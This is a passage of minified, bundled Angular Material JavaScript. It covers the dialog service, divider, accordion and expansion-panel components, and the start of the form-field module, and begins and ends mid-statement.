x&&(x.left||x.right)?x.left?m.left(x.left):m.right(x.right):m.centerHorizontally(),x&&(x.top||x.bottom)?x.top?m.top(x.top):m.bottom(x.bottom):m.centerVertically(),this._ref.updatePosition(),this}updateSize(x="",m=""){return this._ref.updateSize(x,m),this}addPanelClass(x){return this._ref.addPanelClass(x),this}removePanelClass(x){return this._ref.removePanelClass(x),this}getState(){return this._state}_finishDialogClose(){this._state=2,this._ref.close(this._result,{focusOrigin:this._closeInteractionType}),this.componentInstance=null}}function re(te,x,m){return te._closeInteractionType=x,te.close(m)}const ve=new f.OlP("MatDialogData"),We=new f.OlP("mat-dialog-default-options"),xt=new f.OlP("mat-dialog-scroll-strategy"),P={provide:xt,deps:[a.aV],useFactory:function pe(te){return()=>te.scrollStrategies.block()}};let w=0,R=(()=>{class te{constructor(m,b,B,ie,Xe,it,wt,Vt,Gt,qt){this._overlay=m,this._defaultOptions=B,this._parentDialog=ie,this._dialogRefConstructor=wt,this._dialogContainerType=Vt,this._dialogDataToken=Gt,this._openDialogsAtThisLevel=[],this._afterAllClosedAtThisLevel=new _.xQ,this._afterOpenedAtThisLevel=new _.xQ,this._idPrefix="mat-dialog-",this.afterAllClosed=(0,S.P)(()=>this.openDialogs.length?this._getAfterAllClosed():this._getAfterAllClosed().pipe((0,z.O)(void 0))),this._scrollStrategy=it,this._dialog=b.get(q)}get openDialogs(){return this._parentDialog?this._parentDialog.openDialogs:this._openDialogsAtThisLevel}get afterOpened(){return this._parentDialog?this._parentDialog.afterOpened:this._afterOpenedAtThisLevel}_getAfterAllClosed(){const m=this._parentDialog;return m?m._getAfterAllClosed():this._afterAllClosedAtThisLevel}open(m,b){let B;(b={...this._defaultOptions||new dt,...b}).id=b.id||`${this._idPrefix}${w++}`,b.scrollStrategy=b.scrollStrategy||this._scrollStrategy();const ie=this._dialog.open(m,{...b,positionStrategy:this._overlay.position().global().centerHorizontally().centerVertically(),disableClose:!0,closeOnDestroy:!1,container:{type:this._dialogContainerType,providers:()=>[{provide:dt,useValue:b},{provide:j,useValue:b}]},templateContext:()=>({dialogRef:B}),providers:(Xe,it,wt)=>(B=new this._dialogRefConstructor(Xe,b,wt),B.updatePosition(b?.position),[{provide:this._dialogContainerType,useValue:wt},{provide:this._dialogDataToken,useValue:it.data},{provide:this._dialogRefConstructor,useValue:B}])});return B.componentInstance=ie.componentInstance,this.openDialogs.push(B),this.afterOpened.next(B),B.afterClosed().subscribe(()=>{const Xe=this.openDialogs.indexOf(B);Xe>-1&&(this.openDialogs.splice(Xe,1),this.openDialogs.length||this._getAfterAllClosed().next())}),B}closeAll(){this._closeDialogs(this.openDialogs)}getDialogById(m){return this.openDialogs.find(b=>b.id===m)}ngOnDestroy(){this._closeDialogs(this._openDialogsAtThisLevel),this._afterAllClosedAtThisLevel.complete(),this._afterOpenedAtThisLevel.complete()}_closeDialogs(m){let b=m.length;for(;b--;)m[b].close()}}return te.\\u0275fac=function(m){f.$Z()},te.\\u0275prov=f.Yz7({token:te,factory:te.\\u0275fac}),te})(),X=(()=>{class te extends R{constructor(m,b,B,ie,Xe,it,wt,Vt){super(m,b,ie,it,wt,Xe,De,ze,ve,Vt)}}return te.\\u0275fac=function(m){return new(m||te)(f.LFG(a.aV),f.LFG(f.zs3),f.LFG(c.Ye,8),f.LFG(We,8),f.LFG(xt),f.LFG(te,12),f.LFG(a.Xj),f.LFG(f.QbO,8))},te.\\u0275prov=f.Yz7({token:te,factory:te.\\u0275fac}),te})(),_e=0,ct=(()=>{class te{constructor(m,b,B){this.dialogRef=m,this._elementRef=b,this._dialog=B,this.type="button"}ngOnInit(){this.dialogRef||(this.dialogRef=Pt(this._elementRef,this._dialog.openDialogs))}ngOnChanges(m){const b=m._matDialogClose||m._matDialogCloseResult;b&&(this.dialogResult=b.currentValue)}_onButtonClick(m){re(this.dialogRef,0===m.screenX&&0===m.screenY?"keyboard":"mouse",this.dialogResult)}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(De,8),f.Y36(f.SBq),f.Y36(X))},te.\\u0275dir=f.lG2({type:te,selectors:[["","mat-dialog-close",""],["","matDialogClose",""]],hostVars:2,hostBindings:function(m,b){1&m&&f.NdJ("click",function(ie){return b._onButtonClick(ie)}),2&m&&f.uIk("aria-label",b.ariaLabel||null)("type",b.type)},inputs:{ariaLabel:["aria-label","ariaLabel"],type:"type",dialogResult:["mat-dialog-close","dialogResult"],_matDialogClose:["matDialogClose","_matDialogClose"]},exportAs:["matDialogClose"],features:[f.TTD]}),te})(),Je=(()=>{class te{constructor(m,b,B){this._dialogRef=m,this._elementRef=b,this._dialog=B,this.id="mat-dialog-title-"+_e++}ngOnInit(){this._dialogRef||(this._dialogRef=Pt(this._elementRef,this._dialog.openDialogs)),this._dialogRef&&Promise.resolve().then(()=>{const m=this._dialogRef._containerInstance;m&&!m._ariaLabelledBy&&(m._ariaLabelledBy=this.id)})}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(De,8),f.Y36(f.SBq),f.Y36(X))},te.\\u0275dir=f.lG2({type:te,selectors:[["","mat-dialog-title",""],["","matDialogTitle",""]],hostAttrs:[1,"mat-dialog-title"],hostVars:1,hostBindings:function(m,b){2&m&&f.Ikx("id",b.id)},inputs:{id:"id"},exportAs:["matDialogTitle"]}),te})(),Et=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=f.lG2({type:te,selectors:[["","mat-dialog-content",""],["mat-dialog-content"],["","matDialogContent",""]],hostAttrs:[1,"mat-dialog-content"]}),te})(),Dt=(()=>{class te{constructor(){this.align="start"}}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=f.lG2({type:te,selectors:[["","mat-dialog-actions",""],["mat-dialog-actions"],["","matDialogActions",""]],hostAttrs:[1,"mat-dialog-actions"],hostVars:4,hostBindings:function(m,b){2&m&&f.ekj("mat-dialog-actions-align-center","center"===b.align)("mat-dialog-actions-align-end","end"===b.align)},inputs:{align:"align"}}),te})();function Pt(te,x){let m=te.nativeElement.parentElement;for(;m&&!m.classList.contains("mat-dialog-container");)m=m.parentElement;return m?x.find(b=>b.id===m.id):null}let Ie=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=f.oAB({type:te}),te.\\u0275inj=f.cJS({providers:[X,P],imports:[ce,a.U8,u.eL,je.BQ,je.BQ]}),te})()},8729:(At,ae,d)=>{"use strict";d.d(ae,{d:()=>u,t:()=>c});var n=d(4650),a=d(1281),s=d(3238);let u=(()=>{class f{constructor(){this._vertical=!1,this._inset=!1}get vertical(){return this._vertical}set vertical(_){this._vertical=(0,a.Ig)(_)}get inset(){return this._inset}set inset(_){this._inset=(0,a.Ig)(_)}}return f.\\u0275fac=function(_){return new(_||f)},f.\\u0275cmp=n.Xpm({type:f,selectors:[["mat-divider"]],hostAttrs:["role","separator",1,"mat-divider"],hostVars:7,hostBindings:function(_,S){2&_&&(n.uIk("aria-orientation",S.vertical?"vertical":"horizontal"),n.ekj("mat-divider-vertical",S.vertical)("mat-divider-horizontal",!S.vertical)("mat-divider-inset",S.inset))},inputs:{vertical:"vertical",inset:"inset"},decls:0,vars:0,template:function(_,S){},styles:[".mat-divider{display:block;margin:0;border-top-width:1px;border-top-style:solid}.mat-divider.mat-divider-vertical{border-top:0;border-right-width:1px;border-right-style:solid}.mat-divider.mat-divider-inset{margin-left:80px}[dir=rtl] .mat-divider.mat-divider-inset{margin-left:auto;margin-right:80px}"],encapsulation:2,changeDetection:0}),f})(),c=(()=>{class f{}return f.\\u0275fac=function(_){return new(_||f)},f.\\u0275mod=n.oAB({type:f}),f.\\u0275inj=n.cJS({imports:[s.BQ,s.BQ]}),f})()},7084:(At,ae,d)=>{"use strict";d.d(ae,{To:()=>w,ib:()=>De,u4:()=>Be,yz:()=>xt,yK:()=>pe});var n=d(4650),a=d(5017),s=d(1281),u=d(2654);const f=new n.OlP("CdkAccordion");let _=0,S=(()=>{class R{constructor(_e,ct,Je){this.accordion=_e,this._changeDetectorRef=ct,this._expansionDispatcher=Je,this._openCloseAllSubscription=u.w.EMPTY,this.closed=new n.vpe,this.opened=new n.vpe,this.destroyed=new n.vpe,this.expandedChange=new n.vpe,this.id="cdk-accordion-child-"+_++,this._expanded=!1,this._disabled=!1,this._removeUniqueSelectionListener=()=>{},this._removeUniqueSelectionListener=Je.listen((Et,Dt)=>{this.accordion&&!this.accordion.multi&&this.accordion.id===Dt&&this.id!==Et&&(this.expanded=!1)}),this.accordion&&(this._openCloseAllSubscription=this._subscribeToOpenCloseAllActions())}get expanded(){return this._expanded}set expanded(_e){_e=(0,s.Ig)(_e),this._expanded!==_e&&(this._expanded=_e,this.expandedChange.emit(_e),_e?(this.opened.emit(),this._expansionDispatcher.notify(this.id,this.accordion?this.accordion.id:this.id)):this.closed.emit(),this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled}set disabled(_e){this._disabled=(0,s.Ig)(_e)}ngOnDestroy(){this.opened.complete(),this.closed.complete(),this.destroyed.emit(),this.destroyed.complete(),this._removeUniqueSelectionListener(),this._openCloseAllSubscription.unsubscribe()}toggle(){this.disabled||(this.expanded=!this.expanded)}close(){this.disabled||(this.expanded=!1)}open(){this.disabled||(this.expanded=!0)}_subscribeToOpenCloseAllActions(){return this.accordion._openCloseAllActions.subscribe(_e=>{this.disabled||(this.expanded=_e)})}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(f,12),n.Y36(n.sBO),n.Y36(a.A8))},R.\\u0275dir=n.lG2({type:R,selectors:[["cdk-accordion-item"],["","cdkAccordionItem",""]],inputs:{expanded:"expanded",disabled:"disabled"},outputs:{closed:"closed",opened:"opened",destroyed:"destroyed",expandedChange:"expandedChange"},exportAs:["cdkAccordionItem"],features:[n._Bn([{provide:f,useValue:void 0}])]}),R})(),g=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275mod=n.oAB({type:R}),R.\\u0275inj=n.cJS({}),R})();var C=d(4080),z=d(6895),H=d(3238),j=d(2687),U=d(5778),G=d(1059),Q=d(2198),oe=d(2986),Ce=d(9521),k=d(8929),K=d(8896),se=d(6787),ee=d(7340);const q=["body"];function we(R,X){}const ce=[[["mat-expansion-panel-header"]],"*",[["mat-action-row"]]],je=["mat-expansion-panel-header","*","mat-action-row"];function Ze(R,X){if(1&R&&n._UZ(0,"span",2),2&R){const _e=n.oxw();n.Q6J("@indicatorRotate",_e._getExpandedState())}}const le=[[["mat-panel-title"]],[["mat-panel-description"]],"*"],Oe=["mat-panel-title","mat-panel-description","*"],Qe=new n.OlP("MAT_ACCORDION"),Ye="225ms cubic-bezier(0.4,0.0,0.2,1)",qe={indicatorRotate:(0,ee.X$)("indicatorRotate",[(0,ee.SB)("collapsed, void",(0,ee.oB)({transform:"rotate(0deg)"})),(0,ee.SB)("expanded",(0,ee.oB)({transform:"rotate(180deg)"})),(0,ee.eR)("expanded <=> collapsed, void => collapsed",(0,ee.jt)(Ye))]),bodyExpansion:(0,ee.X$)("bodyExpansion",[(0,ee.SB)("collapsed, void",(0,ee.oB)({height:"0px",visibility:"hidden"})),(0,ee.SB)("expanded",(0,ee.oB)({height:"*",visibility:"visible"})),(0,ee.eR)("expanded <=> collapsed, void => collapsed",(0,ee.jt)(Ye))])},Ke=new n.OlP("MAT_EXPANSION_PANEL");let dt=(()=>{class R{constructor(_e,ct){this._template=_e,this._expansionPanel=ct}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(n.Rgc),n.Y36(Ke,8))},R.\\u0275dir=n.lG2({type:R,selectors:[["ng-template","matExpansionPanelContent",""]]}),R})(),bt=0;const ze=new n.OlP("MAT_EXPANSION_PANEL_DEFAULT_OPTIONS");let De=(()=>{class R extends S{constructor(_e,ct,Je,Et,Dt,Pt,Ie){super(_e,ct,Je),this._viewContainerRef=Et,this._animationMode=Pt,this._hideToggle=!1,this.afterExpand=new n.vpe,this.afterCollapse=new n.vpe,this._inputChanges=new k.xQ,this._headerId="mat-expansion-panel-header-"+bt++,this._bodyAnimationDone=new k.xQ,this.accordion=_e,this._document=Dt,this._bodyAnimationDone.pipe((0,U.x)((te,x)=>te.fromState===x.fromState&&te.toState===x.toState)).subscribe(te=>{"void"!==te.fromState&&("expanded"===te.toState?this.afterExpand.emit():"collapsed"===te.toState&&this.afterCollapse.emit())}),Ie&&(this.hideToggle=Ie.hideToggle)}get hideToggle(){return this._hideToggle||this.accordion&&this.accordion.hideToggle}set hideToggle(_e){this._hideToggle=(0,s.Ig)(_e)}get togglePosition(){return this._togglePosition||this.accordion&&this.accordion.togglePosition}set togglePosition(_e){this._togglePosition=_e}_hasSpacing(){return!!this.accordion&&this.expanded&&"default"===this.accordion.displayMode}_getExpandedState(){return this.expanded?"expanded":"collapsed"}toggle(){this.expanded=!this.expanded}close(){this.expanded=!1}open(){this.expanded=!0}ngAfterContentInit(){this._lazyContent&&this._lazyContent._expansionPanel===this&&this.opened.pipe((0,G.O)(null),(0,Q.h)(()=>this.expanded&&!this._portal),(0,oe.q)(1)).subscribe(()=>{this._portal=new C.UE(this._lazyContent._template,this._viewContainerRef)})}ngOnChanges(_e){this._inputChanges.next(_e)}ngOnDestroy(){super.ngOnDestroy(),this._bodyAnimationDone.complete(),this._inputChanges.complete()}_containsFocus(){if(this._body){const _e=this._document.activeElement,ct=this._body.nativeElement;return _e===ct||ct.contains(_e)}return!1}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(Qe,12),n.Y36(n.sBO),n.Y36(a.A8),n.Y36(n.s_b),n.Y36(z.K0),n.Y36(n.QbO,8),n.Y36(ze,8))},R.\\u0275cmp=n.Xpm({type:R,selectors:[["mat-expansion-panel"]],contentQueries:function(_e,ct,Je){if(1&_e&&n.Suo(Je,dt,5),2&_e){let Et;n.iGM(Et=n.CRH())&&(ct._lazyContent=Et.first)}},viewQuery:function(_e,ct){if(1&_e&&n.Gf(q,5),2&_e){let Je;n.iGM(Je=n.CRH())&&(ct._body=Je.first)}},hostAttrs:[1,"mat-expansion-panel"],hostVars:6,hostBindings:function(_e,ct){2&_e&&n.ekj("mat-expanded",ct.expanded)("_mat-animation-noopable","NoopAnimations"===ct._animationMode)("mat-expansion-panel-spacing",ct._hasSpacing())},inputs:{disabled:"disabled",expanded:"expanded",hideToggle:"hideToggle",togglePosition:"togglePosition"},outputs:{opened:"opened",closed:"closed",expandedChange:"expandedChange",afterExpand:"afterExpand",afterCollapse:"afterCollapse"},exportAs:["matExpansionPanel"],features:[n._Bn([{provide:Qe,useValue:void 0},{provide:Ke,useExisting:R}]),n.qOj,n.TTD],ngContentSelectors:je,decls:7,vars:4,consts:[["role","region",1,"mat-expansion-panel-content",3,"id"],["body",""],[1,"mat-expansion-panel-body"],[3,"cdkPortalOutlet"]],template:function(_e,ct){1&_e&&(n.F$t(ce),n.Hsn(0),n.TgZ(1,"div",0,1),n.NdJ("@bodyExpansion.done",function(Et){return ct._bodyAnimationDone.next(Et)}),n.TgZ(3,"div",2),n.Hsn(4,1),n.YNc(5,we,0,0,"ng-template",3),n.qZA(),n.Hsn(6,2),n.qZA()),2&_e&&(n.xp6(1),n.Q6J("@bodyExpansion",ct._getExpandedState())("id",ct.id),n.uIk("aria-labelledby",ct._headerId),n.xp6(4),n.Q6J("cdkPortalOutlet",ct._portal))},dependencies:[C.Pl],styles:[\'.mat-expansion-panel{box-sizing:content-box;display:block;margin:0;border-radius:4px;overflow:hidden;transition:margin 225ms cubic-bezier(0.4, 0, 0.2, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);position:relative}.mat-accordion .mat-expansion-panel:not(.mat-expanded),.mat-accordion .mat-expansion-panel:not(.mat-expansion-panel-spacing){border-radius:0}.mat-accordion .mat-expansion-panel:first-of-type{border-top-right-radius:4px;border-top-left-radius:4px}.mat-accordion .mat-expansion-panel:last-of-type{border-bottom-right-radius:4px;border-bottom-left-radius:4px}.cdk-high-contrast-active .mat-expansion-panel{outline:solid 1px}.mat-expansion-panel.ng-animate-disabled,.ng-animate-disabled .mat-expansion-panel,.mat-expansion-panel._mat-animation-noopable{transition:none}.mat-expansion-panel-content{display:flex;flex-direction:column;overflow:visible}.mat-expansion-panel-content[style*="visibility: hidden"] *{visibility:hidden !important}.mat-expansion-panel-body{padding:0 24px 16px}.mat-expansion-panel-spacing{margin:16px 0}.mat-accordion>.mat-expansion-panel-spacing:first-child,.mat-accordion>*:first-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-top:0}.mat-accordion>.mat-expansion-panel-spacing:last-child,.mat-accordion>*:last-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-bottom:0}.mat-action-row{border-top-style:solid;border-top-width:1px;display:flex;flex-direction:row;justify-content:flex-end;padding:16px 8px 16px 24px}.mat-action-row .mat-button-base,.mat-action-row .mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-action-row .mat-button-base,[dir=rtl] .mat-action-row .mat-mdc-button-base{margin-left:0;margin-right:8px}\'],encapsulation:2,data:{animation:[qe.bodyExpansion]},changeDetection:0}),R})();class ve{}const We=(0,H.sb)(ve);let xt=(()=>{class R extends We{constructor(_e,ct,Je,Et,Dt,Pt,Ie){super(),this.panel=_e,this._element=ct,this._focusMonitor=Je,this._changeDetectorRef=Et,this._animationMode=Pt,this._parentChangeSubscription=u.w.EMPTY;const te=_e.accordion?_e.accordion._stateChanges.pipe((0,Q.h)(x=>!(!x.hideToggle&&!x.togglePosition))):K.E;this.tabIndex=parseInt(Ie||"")||0,this._parentChangeSubscription=(0,se.T)(_e.opened,_e.closed,te,_e._inputChanges.pipe((0,Q.h)(x=>!!(x.hideToggle||x.disabled||x.togglePosition)))).subscribe(()=>this._changeDetectorRef.markForCheck()),_e.closed.pipe((0,Q.h)(()=>_e._containsFocus())).subscribe(()=>Je.focusVia(ct,"program")),Dt&&(this.expandedHeight=Dt.expandedHeight,this.collapsedHeight=Dt.collapsedHeight)}get disabled(){return this.panel.disabled}_toggle(){this.disabled||this.panel.toggle()}_isExpanded(){return this.panel.expanded}_getExpandedState(){return this.panel._getExpandedState()}_getPanelId(){return this.panel.id}_getTogglePosition(){return this.panel.togglePosition}_showToggle(){return!this.panel.hideToggle&&!this.panel.disabled}_getHeaderHeight(){const _e=this._isExpanded();return _e&&this.expandedHeight?this.expandedHeight:!_e&&this.collapsedHeight?this.collapsedHeight:null}_keydown(_e){switch(_e.keyCode){case Ce.L_:case Ce.K5:(0,Ce.Vb)(_e)||(_e.preventDefault(),this._toggle());break;default:return void(this.panel.accordion&&this.panel.accordion._handleHeaderKeydown(_e))}}focus(_e,ct){_e?this._focusMonitor.focusVia(this._element,_e,ct):this._element.nativeElement.focus(ct)}ngAfterViewInit(){this._focusMonitor.monitor(this._element).subscribe(_e=>{_e&&this.panel.accordion&&this.panel.accordion._handleHeaderFocus(this)})}ngOnDestroy(){this._parentChangeSubscription.unsubscribe(),this._focusMonitor.stopMonitoring(this._element)}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(De,1),n.Y36(n.SBq),n.Y36(j.tE),n.Y36(n.sBO),n.Y36(ze,8),n.Y36(n.QbO,8),n.$8M("tabindex"))},R.\\u0275cmp=n.Xpm({type:R,selectors:[["mat-expansion-panel-header"]],hostAttrs:["role","button",1,"mat-expansion-panel-header","mat-focus-indicator"],hostVars:15,hostBindings:function(_e,ct){1&_e&&n.NdJ("click",function(){return ct._toggle()})("keydown",function(Et){return ct._keydown(Et)}),2&_e&&(n.uIk("id",ct.panel._headerId)("tabindex",ct.tabIndex)("aria-controls",ct._getPanelId())("aria-expanded",ct._isExpanded())("aria-disabled",ct.panel.disabled),n.Udp("height",ct._getHeaderHeight()),n.ekj("mat-expanded",ct._isExpanded())("mat-expansion-toggle-indicator-after","after"===ct._getTogglePosition())("mat-expansion-toggle-indicator-before","before"===ct._getTogglePosition())("_mat-animation-noopable","NoopAnimations"===ct._animationMode))},inputs:{tabIndex:"tabIndex",expandedHeight:"expandedHeight",collapsedHeight:"collapsedHeight"},features:[n.qOj],ngContentSelectors:Oe,decls:5,vars:3,consts:[[1,"mat-content"],["class","mat-expansion-indicator",4,"ngIf"],[1,"mat-expansion-indicator"]],template:function(_e,ct){1&_e&&(n.F$t(le),n.TgZ(0,"span",0),n.Hsn(1),n.Hsn(2,1),n.Hsn(3,2),n.qZA(),n.YNc(4,Ze,1,1,"span",1)),2&_e&&(n.ekj("mat-content-hide-toggle",!ct._showToggle()),n.xp6(4),n.Q6J("ngIf",ct._showToggle()))},dependencies:[z.O5],styles:[\'.mat-expansion-panel-header{display:flex;flex-direction:row;align-items:center;padding:0 24px;border-radius:inherit;transition:height 225ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-expansion-panel-header._mat-animation-noopable{transition:none}.mat-expansion-panel-header:focus,.mat-expansion-panel-header:hover{outline:none}.mat-expansion-panel-header.mat-expanded:focus,.mat-expansion-panel-header.mat-expanded:hover{background:inherit}.mat-expansion-panel-header:not([aria-disabled=true]){cursor:pointer}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before{flex-direction:row-reverse}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 16px 0 0}[dir=rtl] .mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 0 0 16px}.mat-content{display:flex;flex:1;flex-direction:row;overflow:hidden}.mat-content.mat-content-hide-toggle{margin-right:8px}[dir=rtl] .mat-content.mat-content-hide-toggle{margin-right:0;margin-left:8px}.mat-expansion-toggle-indicator-before .mat-content.mat-content-hide-toggle{margin-left:24px;margin-right:0}[dir=rtl] .mat-expansion-toggle-indicator-before .mat-content.mat-content-hide-toggle{margin-right:24px;margin-left:0}.mat-expansion-panel-header-title,.mat-expansion-panel-header-description{display:flex;flex-grow:1;flex-basis:0;margin-right:16px;align-items:center}[dir=rtl] .mat-expansion-panel-header-title,[dir=rtl] .mat-expansion-panel-header-description{margin-right:0;margin-left:16px}.mat-expansion-panel-header-description{flex-grow:2}.mat-expansion-indicator::after{border-style:solid;border-width:0 2px 2px 0;content:"";display:inline-block;padding:3px;transform:rotate(45deg);vertical-align:middle}.cdk-high-contrast-active .mat-expansion-panel-content{border-top:1px solid;border-top-left-radius:0;border-top-right-radius:0}\'],encapsulation:2,data:{animation:[qe.indicatorRotate]},changeDetection:0}),R})(),Be=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275dir=n.lG2({type:R,selectors:[["mat-panel-description"]],hostAttrs:[1,"mat-expansion-panel-header-description"]}),R})(),pe=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275dir=n.lG2({type:R,selectors:[["mat-panel-title"]],hostAttrs:[1,"mat-expansion-panel-header-title"]}),R})(),w=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275mod=n.oAB({type:R}),R.\\u0275inj=n.cJS({imports:[z.ez,H.BQ,g,C.eL]}),R})()},9549:(At,ae,d)=>{"use strict";d.d(ae,{Eo:()=>dt,G_:()=>Dt,KE:()=>Pt,R9:()=>R,TO:()=>qe,bx:()=>We,hX:()=>xt,lN:()=>Ie,qo:()=>P});var n=d(9643),a=d(6895),s=d(4650),u=d(3238),c=d(445),f=d(1281),E=d(8929),_=d(6787),S=d(3753),g=d(1059),C=d(7625),z=d(2986),H=d(7340),j=d(3353);const U=["connectionContainer"],G=["inputContainer"],Q=["label"];function oe(te,x){1&te&&(s.ynx(0),s.TgZ(1,"div",14),s._UZ(2,"div",15)(3,"div",16)(4,"div",17),s.qZA(),s.TgZ(5,"div",18),s._UZ(6,"div",15)(7,"div",16)(8,"div",17),s.qZA(),s.BQk())}function Ce(te,x){if(1&te){const m=s.EpF();s.TgZ(0,"div",19),s.NdJ("cdkObserveContent",function(){s.CHM(m);const B=s.oxw();return s.KtG(B.updateOutlineGap())}),s.Hsn(1,1),s.qZA()}if(2&te){const m=s.oxw();s.Q6J("cdkObserveContentDisabled","outline"!=m.appearance)}}function k(te,x){if(1&te&&(s.ynx(0),s.Hsn(1,2),s.TgZ(2,"span"),s._uU(3),s.qZA(),s.BQk()),2&te){const m=s.oxw(2);s.xp6(3),s.Oqu(m._control.placeholder)}}function K(te,x){1&te&&s.Hsn(0,3,["*ngSwitchCase","true"])}function se(te,x){1&te&&(s.TgZ(0,"span",23),s._uU(1," *"),s.qZA())}function ee(te,x){if(1&te){const m=s.EpF();s.TgZ(0,"label",20,21),s.NdJ("cdkObserveContent",function(){s.CHM(m);const B=s.oxw();return s.KtG(B.updateOutlineGap())}),s.YNc(2,k,4,1,"ng-container",12),s.YNc(3,K,1,0,"ng-content",12),s.YNc(4,se,2,0,"span",22),s.qZA()}if(2&te){const m=s.oxw();s.ekj("mat-empty",m._control.empty&&!m._shouldAlwaysFloat())("mat-form-field-empty",m._control.empty&&!m._shouldAlwaysFloat())("mat-accent","accent"==m.color)("mat-warn","warn"==m.color),s.Q6J("cdkObserveContentDisabled","outline"!=m.appearance)("id",m._labelId)("ngSwitch",m._hasLabel()),s.uIk("for",m._control.id)("aria-owns",m._control.id),s.xp6(2),s.Q6J("ngSwitchCase",!1),s.xp6(1),s.Q6J("ngSwitchCase",!0),s.xp6(1),s.Q6J("ngIf",!m.hideRequiredMarker&&m._control.required&&!m._control.disabled)}}function q(te,x){1&te&&(s.TgZ(0,"div",24),s.Hsn(1,4),s.qZA())}function we(te,x){if(1&te&&(s.TgZ(0,"div",25),s._UZ(1,"span",26),s.qZA()),2&te){const m=s.oxw();s.xp6(1),s.ekj("mat-accent","accent"==m.color)("mat-warn","warn"==m.color)}}function ce(te,x){if(1&te&&(s.TgZ(0,"div"),s.Hsn(1,5),s.qZA()),2&te){const m=s.oxw();s.Q6J("@transitionMessages",m._subscriptAnimationState)}}function je(te,x){if(1&te&&(s.TgZ(0,"div",30),s._uU(1),s.qZA()),2&te){const m=s.oxw(2);s.Q6J("id",m._hintLabelId),s.xp6(1),s.Oqu(m.hintLabel)}}function Ze(te,x){if(1&te&&(s.TgZ(0,"div",27),s.YNc(1,je,2,2,"div",28),s.Hsn(2,6),s._UZ(3,"div",29),s.Hsn(4,7),s.qZA()),2&te){const m=s.oxw();s.Q6J("@transitionMessages",m._subscriptAnimationState),s.xp6(1),s.Q6J("ngIf",m.hintLabel)}}const le=["*",[["","matPrefix",""]],[["mat-placeholder"]],[["mat-label"]],[["","matSuffix",""]],[["mat-error"]],[["mat-hint",3,"align","end"]],[["mat-hint","align","end"]]],Oe=["*","[matPrefix]","mat-placeholder","mat-label","[matSuffix]","mat-error","mat-hint:not([align=\'end\'])","mat-hint[align=\'end\']"];let Qe=0;const Ye=new s.OlP("MatError");let qe=(()=>{class te{constructor(m,b){this.id="mat-error-"+Qe++,m||b.nativeElement.setAttribute("aria-live","polite")}}return te.\\u0275fac=function(m){return new(m||te)(s.$8M("aria-live"),s.Y36(s.SBq))},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-error"]],hostAttrs:["aria-atomic","true",1,"mat-error"],hostVars:1,hostBindings:function(m,b){2&m&&s.uIk("id",b.id)},inputs:{id:"id"},features:[s._Bn([{provide:Ye,useExisting:te}])]}),te})();const Ke={transitionMessages:(0,H.X$)("transitionMessages",[(0,H.SB)("enter",(0,H.oB)({opacity:1,transform:"translateY(0%)"})),(0,H.eR)("void => enter",[(0,H.oB)({opacity:0,transform:"translateY(-5px)"}),(0,H.jt)("300ms cubic-bezier(0.55, 0, 0.55, 0.2)")])])};let dt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te}),te})(),re=0;const ve=new s.OlP("MatHint");let We=(()=>{class te{constructor(){this.align="start",this.id="mat-hint-"+re++}}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-hint"]],hostAttrs:[1,"mat-hint"],hostVars:4,hostBindings:function(m,b){2&m&&(s.uIk("id",b.id)("align",null),s.ekj("mat-form-field-hint-end","end"===b.align))},inputs:{align:"align",id:"id"},features:[s._Bn([{provide:ve,useExisting:te}])]}),te})(),xt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-label"]]}),te})(),Be=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-placeholder"]]}),te})();const pe=new s.OlP("MatPrefix");let P=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["","matPrefix",""]],features:[s._Bn([{provide:pe,useExisting:te}])]}),te})();const w=new s.OlP("MatSuffix");let R=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["","matSuffix",""]],features:[s._Bn([{provide:w,useExisting:te}])]}),te})(),X=0;const Je=(0,u.pj)(class{constructor(te){this._elementRef=te}},"primary"),Et=new s.OlP("MAT_FORM_FIELD_DEFAULT_OPTIONS"),Dt=new s.OlP("MatFormField");let Pt=(()=>{class te extends Je{constructor(m,b,B,ie,Xe,it,wt){super(m),this._changeDetectorRef=b,this._dir=B,this._defaults=ie,this._platform=Xe,this._ngZone=it,this._outlineGapCalculationNeededImmediately=!1,this._outlineGapCalculationNeededOnStable=!1,this._destroyed=new 